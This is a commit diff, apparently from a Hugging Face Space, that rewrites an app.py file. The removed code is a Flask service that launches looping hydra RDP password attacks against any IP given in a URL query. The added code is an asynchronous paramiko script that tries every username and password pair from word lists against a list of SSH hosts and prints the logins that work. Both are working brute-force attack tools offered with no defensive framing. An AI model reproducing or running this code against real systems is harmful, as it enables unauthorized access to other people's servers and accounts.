cfdlbrz commited on
Commit
0989636
·
verified ·
1 Parent(s): aab5670

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +33 -50
app.py CHANGED
@@ -1,58 +1,41 @@
1
- import subprocess
2
- import re
3
- from time import sleep
4
- import requests
5
  import asyncio
6
- import threading
7
- import time
8
- from flask import Flask, request
9
- app = Flask(__name__)
10
 
11
- task_ids = {} # دیکشنری برای ذخیره ایدی و thread object ها
 
 
12
 
13
- async def test_function(ip,user,pas,task_id):
14
- while task_id in task_ids:
15
- command = ["hydra", "-t", "4", "-l", f"{user}", "-p", f"{pas}", f"rdp://{ip}"]
16
- result = subprocess.run(command, capture_output=True, text=True)
17
-
18
- async def ejra(ip,user,pas,task_id):
19
- task_ids[task_id] = asyncio.create_task(test_function(ip,user,pas,task_id))
20
 
21
- def stop_task(task_id):
22
- if task_id in task_ids:
23
- task = task_ids[task_id]
24
- task.cancel()
25
- del task_ids[task_id]
26
- print(f"Task {task_id} stopped.")
27
- else:
28
- print(f"Task {task_id} not found.")
29
-
30
-
31
- @app.route('/', methods=['GET'])
32
- def index():
33
- return "hi"
34
-
35
- @app.route('/go', methods=['GET'])
36
- def go():
37
- ip = request.args.get('ip')
38
- user = request.args.get('user')
39
- pas = request.args.get('pas')
40
 
41
- task_id = len(task_ids) + 1
42
- threading.Thread(target=lambda: asyncio.run(ejra(ip,user,pas,task_id))).start()
 
 
 
 
 
 
 
 
 
 
 
 
 
43
 
44
- return f"Job started with ID: {task_id}"
45
 
46
- @app.route('/del', methods=['GET'])
47
- def killjob():
48
- task_id = int(request.args.get('id'))
49
- if task_id in task_ids:
50
- task = task_ids[task_id]
51
- task.cancel()
52
- del task_ids[task_id]
53
- return f"Task {task_id} stopped."
54
- else:
55
- return f"Task {task_id} not found."
56
 
57
- if __name__ == '__main__':
58
- app.run(host="0.0.0.0", port=7860)
 
1
+ import paramiko
2
+ import socket
 
 
3
  import asyncio
 
 
 
 
4
 
5
+ IP_LIST = []
6
+ USERNAME_LIST = []
7
+ PASSWORD_LIST = []
8
 
9
+ def read_file_lines(filename):
10
+ with open(filename, 'r') as file:
11
+ lines = file.readlines()
12
+ return [line.strip() for line in lines]
 
 
 
13
 
14
+ async def test_credentials(ip, username, password):
15
+ client = paramiko.SSHClient()
16
+ client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
17
 
18
+ try:
19
+ client.connect(ip, username=username, password=password, timeout=5)
20
+ print(f"Valid credentials found for IP: {ip}, Username: {username}, Password: {password}")
21
+ client.close()
22
+ except paramiko.AuthenticationException:
23
+ pass
24
+ except socket.error:
25
+ pass
26
+
27
+ async def scan_ips(ip_list):
28
+ tasks = []
29
+ for ip in ip_list:
30
+ for username in USERNAME_LIST:
31
+ for password in PASSWORD_LIST:
32
+ tasks.append(test_credentials(ip, username, password))
33
 
34
+ await asyncio.gather(*tasks)
35
 
36
+ if __name__ == "__main__":
37
+ IP_LIST = read_file_lines("ips.txt")
38
+ USERNAME_LIST = read_file_lines("user.txt")
39
+ PASSWORD_LIST = read_file_lines("pass.txt")
 
 
 
 
 
 
40
 
41
+ asyncio.run(scan_ips(IP_LIST))